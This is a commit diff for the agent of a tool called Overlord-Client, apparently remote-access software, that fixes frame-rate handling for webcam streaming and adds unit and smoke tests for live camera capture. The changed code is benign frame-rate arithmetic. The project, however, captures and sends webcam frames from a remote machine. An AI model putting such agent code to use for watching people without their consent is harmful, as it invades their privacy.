fix webcam

Overlord-Client/cmd/agent/capture/webcam_windows.go

@@ -96,6 +96,23 @@ var (
 	webcamActive   *webcamState
 )
 
+func activeWebcamFrameFPS(requested int, captureFPS float64) int {
+	actual := int(captureFPS + 0.5)
+	if requested < 1 {
+		requested = actual
+	}
+	if actual > 0 && requested > actual {
+		requested = actual
+	}
+	if requested < 1 {
+		requested = 30
+	}
+	if requested > 120 {
+		requested = 120
+	}
+	return requested
+}
+
 func NowWebcam(ctx context.Context, env *rt.Env) error {
 	if ctx.Err() != nil {
 		return nil
@@ -122,6 +139,8 @@ func NowWebcam(ctx context.Context, env *rt.Env) error {
 		return nil
 	}
 
+	frameFPS := activeWebcamFrameFPS(env.WebcamFPS, state.captureFPS)
+
 	quality := env.WebcamQuality
 	codec := env.WebcamCodec
 	outFormat := format
@@ -158,7 +177,7 @@ func NowWebcam(ctx context.Context, env *rt.Env) error {
 		Type: "frame",
 		Header: wire.FrameHeader{
 			Monitor: deviceIndex,
-			FPS:     0,
+			FPS:     frameFPS,
 			Format:  outFormat,
 			Webcam:  true,
 		},
@@ -168,14 +187,7 @@ func NowWebcam(ctx context.Context, env *rt.Env) error {
 		return nil
 	}
 	if outFormat == "h264" && webrtcpub.IsActive(webrtcpub.KindWebcam) {
-		fps := env.WebcamFPS
-		if fps <= 0 {
-			fps = 30
-		}
-		dur := time.Second / time.Duration(fps)
-		if dur <= 0 {
-			dur = 33 * time.Millisecond
-		}
+		dur := time.Second / time.Duration(frameFPS)
 		if werr := webrtcpub.WriteH264(webrtcpub.KindWebcam, frameBytes, dur); werr != nil {
 			log.Printf("webrtc: write webcam h264 failed: %v", werr)
 		}

Overlord-Client/cmd/agent/capture/webcam_windows_test.go

@@ -0,0 +1,73 @@
+//go:build windows && cgo
+
+package capture
+
+import (
+	"context"
+	"os"
+	"testing"
+	"time"
+
+	rt "overlord-client/cmd/agent/runtime"
+	"overlord-client/cmd/agent/wire"
+
+	"github.com/vmihailenco/msgpack/v5"
+)
+
+func TestActiveWebcamFrameFPS(t *testing.T) {
+	tests := []struct {
+		name       string
+		requested  int
+		captureFPS float64
+		want       int
+	}{
+		{name: "requested rate", requested: 15, captureFPS: 30, want: 15},
+		{name: "camera limit", requested: 60, captureFPS: 30, want: 30},
+		{name: "camera default", captureFPS: 29.97, want: 30},
+		{name: "safe default", want: 30},
+		{name: "protocol limit", requested: 240, captureFPS: 240, want: 120},
+	}
+	for _, test := range tests {
+		t.Run(test.name, func(t *testing.T) {
+			if got := activeWebcamFrameFPS(test.requested, test.captureFPS); got != test.want {
+				t.Fatalf("activeWebcamFrameFPS(%d, %.2f) = %d, want %d", test.requested, test.captureFPS, got, test.want)
+			}
+		})
+	}
+}
+
+func TestWebcamCaptureSmoke(t *testing.T) {
+	if os.Getenv("OVERLORD_WEBCAM_SMOKE") != "1" {
+		t.Skip("set OVERLORD_WEBCAM_SMOKE=1 to exercise an attached camera")
+	}
+
+	writer := &recordingWriter{}
+	env := &rt.Env{
+		Conn:              writer,
+		WebcamDeviceIndex: 0,
+		WebcamFPS:         30,
+		WebcamQuality:     90,
+		WebcamCodec:       "jpeg",
+	}
+	t.Cleanup(CleanupWebcam)
+
+	deadline := time.Now().Add(8 * time.Second)
+	for time.Now().Before(deadline) {
+		if err := NowWebcam(context.Background(), env); err != nil {
+			t.Fatalf("capture webcam frame: %v", err)
+		}
+		if len(writer.msgs) > 0 {
+			var frame wire.Frame
+			if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
+				t.Fatalf("decode webcam frame: %v", err)
+			}
+			if !frame.Header.Webcam || frame.Header.FPS <= 0 || len(frame.Data) == 0 {
+				t.Fatalf("invalid live webcam frame: header=%+v bytes=%d", frame.Header, len(frame.Data))
+			}
+			t.Logf("captured webcam format=%s fps=%d bytes=%d", frame.Header.Format, frame.Header.FPS, len(frame.Data))
+			return
+		}
+		time.Sleep(25 * time.Millisecond)
+	}
+	t.Fatal("timed out waiting for a live webcam frame")
+}